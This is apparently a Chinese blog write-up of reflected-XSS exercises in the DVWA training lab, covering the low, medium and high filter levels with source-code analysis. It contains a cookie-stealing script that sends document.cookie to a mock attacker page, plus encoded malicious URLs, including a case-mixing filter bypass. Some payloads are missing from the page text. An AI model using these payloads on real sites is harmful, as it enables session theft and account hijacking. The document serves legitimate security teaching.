DVWA实验XSS反射型(弱方法)

1.low难度下

1.先判断有误XSS漏洞

输入

值得注意的是输入  没有反应

显示如下

DVWA实验XSS反射型(弱方法)_第1张图片


恶意url为:http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#


 获取cookie

首先在www文件下创建一个名为joke的文件夹(模拟攻击者服务器)

joke.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);

通过创建一张不存在的图片,让图片的地址指向joke.php,并把cookie复制到joke变量里

joke.php

joke.php的作用是把joke变量保存的cookie保存到服务器中

在输入 ,使得服务器调用joke.js脚本

joke.js再调用joke.php

恶意:

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%3E%3C%2Fscript%3E#

在服务器中找到了一个记录着cookie的文件

DVWA实验XSS反射型(弱方法)_第2张图片


重定向代码

恶意url localhost/dvwa/vulnerabilities/xss_r/?name=

会重定向到一个钓鱼网站。

源码分析:

Reflected XSS Source
Hello ' . $_GET[ 'name' ] . '
'; } ?>

直接把用户的输入赋值给了name没有做任何的过滤


2.medium

输入 已经失效了

但当输入却成功了,意味着没有对大小写进行过滤

输入便可能到cookie

恶意url:

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3CscRipt+src%3D%22http%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%22%3E%3C%2Fscript%3E#

源码分析

Reflected XSS Source
', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"; } ?>


str_replace(find,replace,string,count)//找到相同的字符串然后赋值

因而当输入时,无法找到与ipt>alert(/ss/)都失效显示

DVWA实验XSS反射型(弱方法)_第3张图片

从这个>中得到提示,似乎只有>没有被过滤

当输入时有显示了>

当输入script不会给过滤,也就是说必须是从<开始搜索,搜索到script,则过滤,过滤方法应该是替换成空格

当输入 只输出 > 的原因应该是用到了正则表达式的贪心,会从<开始搜索所有的script只要匹配就置换出空格

当输入 alert(/xss/)  只输出 hello >就可以更加确信了 使用了正则表达的贪心

源码

Reflected XSS Source
Hello ${name}
"; } ?>

preg_replace 函数执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

  • $count: 可选,为替换执行的次数。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

/i表示不区分大小写,且从/开始匹配,只要匹配到 script中的任一个字符都将自动替换为空格

就算是输入了

自己的思路是把 最普通的xss代码

在当前页面弹出cookie

外部调用攻击代码ls.js

跳转某页面

当使用了黑名单过滤

你可能感兴趣的:(web安全)